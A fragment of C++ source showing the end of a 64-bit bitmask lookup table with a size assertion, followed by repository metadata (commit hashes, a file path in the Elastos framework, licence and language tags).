// 37 0xFFFFFFC000000000ull, // 38 0xFFFFFF8000000000ull, // 39 0xFFFFFF0000000000ull, // 40 0xFFFFFE0000000000ull, // 41 0xFFFFFC0000000000ull, // 42 0xFFFFF80000000000ull, // 43 0xFFFFF00000000000ull, // 44 0xFFFFE00000000000ull, // 45 0xFFFFC00000000000ull, // 46 0xFFFF800000000000ull, // 47 0xFFFF000000000000ull, // 48 0xFFFE000000000000ull, // 49 0xFFFC000000000000ull, // 50 0xFFF8000000000000ull, // 51 0xFFF0000000000000ull, // 52 0xFFE0000000000000ull, // 53 0xFFC0000000000000ull, // 54 0xFF80000000000000ull, // 55 0xFF00000000000000ull, // 56 0xFE00000000000000ull, // 57 0xFC00000000000000ull, // 58 0xF800000000000000ull, // 59 0xF000000000000000ull, // 60 0xE000000000000000ull, // 61 0xC000000000000000ull, // 62 0x8000000000000000ull, // 63 }; // k_rgnTrailerMask CASSERT(sizeof(Arch64::k_rgnLeaderMask) == sizeof(Arch64::k_rgnTrailerMask)); } // Kernel #endif // SIZEOF_VAL == 8

ad1a3828949d014ce64f842d5f3e0ad0e9eaefc3

44289ecb892b6f3df043bab40142cf8530ac2ba4

/Sources/Elastos/Frameworks/Droid/DevSamples/MemoryDumper/CMemoryDumper.h

a23684f02fd71ed7bb224705c8bdf2e8968a621a

permissive

warrenween/Elastos

a6ef68d8fb699fd67234f376b171c1b57235ed02

5618eede26d464bdf739f9244344e3e87118d7fe

refs/heads/master

UTF-8

C++